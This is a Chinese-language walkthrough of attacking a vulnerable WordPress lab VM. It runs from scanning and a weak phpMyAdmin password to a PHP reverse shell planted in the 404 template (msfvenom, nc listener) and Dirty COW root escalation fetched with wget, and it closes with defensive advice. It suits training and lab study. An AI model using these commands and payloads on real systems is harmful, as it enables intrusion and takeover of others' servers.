人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
环境准备
VMware workstation Pro12
Kali 虚拟机 (攻击机IP:10.10.16.133)
Wordpress 虚拟机 (靶机IP:10.10.16.135)
NAT 网络模式
安装靶机
在导入靶机的时候出现版本不兼容的现象。
用记事本打开靶机安装包里面的 .vmx 文件,修改版本好为本地的 VM 的版本号即可。
继续尝试导入靶机的时候又提示错误 " 不支持客户机操作系统 centos6-64 ",按照提示的方法去修改靶机的操作系统。(这里修改为 Linux 系统)
接着便可导入成功,一开始导入虚拟机的时候选择 " 我以移动该虚拟机即可 "
1. 信息收集
1.1 主机发现
主机发现可以有以下三种方式获取。
① netdiscover
Netdiscover -r 10.10.16.133
② arp-scan
Arp-scan -l
③ fping
fping -asg 10.10.16.0/24
1.2 端口扫描
参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN 扫描
-sV:探测开放
-p-:扫描全部端口
-T4:级别越高速度越快,最高为6级
nmap -A -v -sS -sV -p- 10.10.16.135
通过端口扫描可以得知靶机开放如下端口。
端口号 | 对应的服务 |
---|---|
22 | ssh |
80 | http |
3306 | mysql |
ps:但凡开放 80\443 端口的都应该目录扫描一波。
1.3 Web 指纹识别
Wappalyzer是一款浏览器插件,通过Wappalyzer可以识别出网站采用了那种web技术。它能够检测出CMS和电子商务系统、留言板、javascript框架,主机面板,分析统计工具和其它的一些web系统。The company behind Wappalyzer还能够收集web程序的一些信息用于统计分析,揭示出各种web系统的使用率即增长情况。
只要打开网站,Wappalyzer 就能自动识别出 Web 技术信息。
从插件读取的信息可以得出该网站是基于 WordPress 5.0.4 搭建的博客系统,其后端支持语言为 PHP 5.3.3,操作系统为 CentOS,数据库类型为 MySQL。
2. 漏洞挖掘
2.1 目录扫描
目录扫描工具由很多,如:御剑1.5、DirBuster、Dirsearch、cansina,还有牛人开发的一款 dirmap 。(https://www.freebuf.com/sectool/200890.html)
这里就用 Dirbuster 即可。
① Dirbuster 的打开方式
-
直接打开
-
在命令行中输入 dirbuster 即可打开
② 加载字典
- Dirbuster 的安装路径
whereis dirbuster
- bin 目录下一般为存储二进制的文件,所以字典文件应该在第二个路径
③ 设置
- 在 Target URL 输入要扫描的网站 URL,扫描时将 Work Method 设置为 Auto Switch(HEAD and GET)。
- 线程设置为 20-30,(这里选择 20 )太大了容易造成系统死机。
- 选择扫描类型,List based brute force(字典暴力破解)。点击Browse选择字典。
- 在 Select starting options 中选择 URL Fuzz (URL 模糊测试)方式进行扫描。
- 设置 fuzzing 时需要注意,在 URL to fuzz 中输入 /{dir} ,这里的 {dir} 是一个变量,在运行时会被字典中的目录替换掉。如果你扫描的目标是 http://www.xx.com/admin/ ,那么就要在 URL to fuzz 里填写 /admin/{dir}。如果是 /admin/{dir}.php ,则是扫描 admin 目录下的所有 php 文件。
④ 结果
有两个目录 /phpmyadmin 和 /wp-content
补:dirb 扫描更方便
使用默认的字典 common.txt ,也可以自定义字典。
2.2 敏感目录访问
① 访问 phpmyadmin 目录。
② 尝试用弱口令登录
弱口令登录,可以一个一个去试,要不然就将收集到的弱口令写在一个文件中使用 Burpsuite 中的 intruder 模块去爆破。
得到账号/密码:root/root
③ 访问 wp-admin 目录(插曲)
- 在一开始访问靶机的时候页面没能加载 CSS ,当时就有点疑惑,是不是靶机出问题了,不过还是不放在心上,反正这个靶机漏洞的考察一般不会出现在 CSS 上,所以也就不在意。
- 访问 wp-admin 目录的时候,再次出现错误,发现页面重定向的主机地址错误(192.168.116.171)。很显然,这绝对不是源码的问题,源码中绝对不可能把重定向的地址写死,那么,那么重定向的地址有可能是存储在数据库中,然后源码去调用而已。
- 在 phpmyadmin 中发现了两处重定向的地址。刚好也是 192.168.116.171
- 将数据库中的地址改为靶机的IP即可(10.10.16.135)
- 重新刷新一下数据库,再次进入靶机,发现 CSS 被加载出来了。
- wp-admin目录可重定向成功,是一个后台登录页面。
3. 漏洞利用
3.1 登录后台
- 使用 wordpress 数据库下的 wp_users 表中的用户的信息登录。
- 这里发现密码被经过加密处理,这里用 md5 在线解密工具解密一下,发现密码是123456。
- 登录账号/密码:cleverbao/123456
(ps:当然,有了数据库权限之后也可以对数据库进行增,删,改操作,如果觉得用户名不好听的话。)
3.2 反弹 shell
在 外观 / 编辑 / 404模板 处可编辑 404.php 页面的代码。在 404 模板插入反弹 shell 代码即可。
① msf 生成反弹 shell
在 Kali 命令行执行以下命令:
其中 LHOST 是 Kali 的 IP,LPORT 是监听的端口,且将代码保存在 Desktop 的 shell.php 文件中。
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.133 LPORT=4444 -o Desktop/shell.php
② 直接利用 Kali 自带的反向 shell
cat /usr/share/webshells/php/php-reverse-shell.php
③ 将代码粘贴在 404.php 中
使用以上两个木马之一都可,这里使用 Kali 自带的。同时要修改主机号和端口,最后点击更新文件即可。
④ 监听端口
这里访问错误页面的原因在于可以跳转到网站的 404 页面,从而触发木马,反弹shell。同时监听木马中设置的 4444 端口。
- 这里使用 nc(netcat:素有 " 瑞士军刀 " 美誉)监听端口。
netcat 命令解析
-l 监听
-p 监听本地端口
-n 指定 IP地址
-v 熟悉详细信息
-h 帮助文档
nc -nvlp 4444
- 同时访问一个不存在的页面
http://10.10.16.135/?p=666
- 结果反弹成功!!!
- 输入 whoami 查看权限,发现当前为 apache 权限,还不是 root 权限。
(ps: $ 是一般用户权限,# 是 root 权限 )
3.3 提权
① 查看操作系统信息
使用 uname 可显示电脑以及操作系统的相关信息。
参数说明:
-a或–all 显示全部的信息。
-m或–machine 显示电脑类型。
-n或-nodename 显示在网络上的主机名称。
-r或–release 显示操作系统的发行编号。
-s或–sysname 显示操作系统名称。
-v 显示操作系统的版本。
–help 显示帮助。
–version 显示版本信息。
② 脏牛(dirty cow)提权漏洞
漏洞编号:CVE-2016-5195
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权。
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
影响范围:Linux 内核>=2.6.22,并且未打补丁
从上面可以得知靶机的 Linux 版本为 2.6.32 ,存在脏牛提权漏洞。
③ 漏洞测试
- 使用官网提供的 exp 进行测试。
https://github.com/FireFart/dirtycow/blob/master/dirty.c
- 将 dirty.c 文件下载下来后放在一个文件夹下,这里是放在桌面。
- 使用 gcc 编译
gcc -pthread dirty.c -o dirty -lcrypt
- 设置为执行权限
chmod +x dirty
- 使用 python 开启 http 服务器
python -m SimpleHTTPServer 80
- 通过前面反弹的 shell 使用 wget 将 dirty 下载到 /tmp 目录
cd /tmp
wget http://10.10.16.133/dirty
执行 dirty 文件 同时将管理员的密码修改为 123456
./dirty 123456
得到一个超级管理员的账号/密码: firefart/123456,使用得到的账号/密码在靶机上登录即可得到 root 权限。
思路总结
① 红队
- 信息收集:主机发现,端口扫描识别端口服务:找到22,80,3306
- 漏洞挖掘:目录扫描(爆破),找到敏感目录,包括数据库和网站后台
- 漏洞利用:
① 手工登录数据库后台,对数据库进行增,删,改操作
② 利用数据库中获取得到的账号密码在网站后台登录,上传网站木马(msf生 成shell/kali自带的shell)
③执行网站木马获取低权限 shell,判断系统版本寻找提权方法(脏牛提权漏洞)
④ 使用官方放出的 exp 进行漏洞测试,获取管理员账号实现 root 提权
② 蓝队
- 关闭不需要的端口,遵循最小化原则
- 使用常见网站 cms 时,修改默认后台路径
- 使用 Phpmyadmin 时,修改默认路径和密码
- 升级操作系统版本,不定时打补丁修复漏洞
- 关注最新漏洞情报,提升安全运维响应能力
猪头
2020.2.14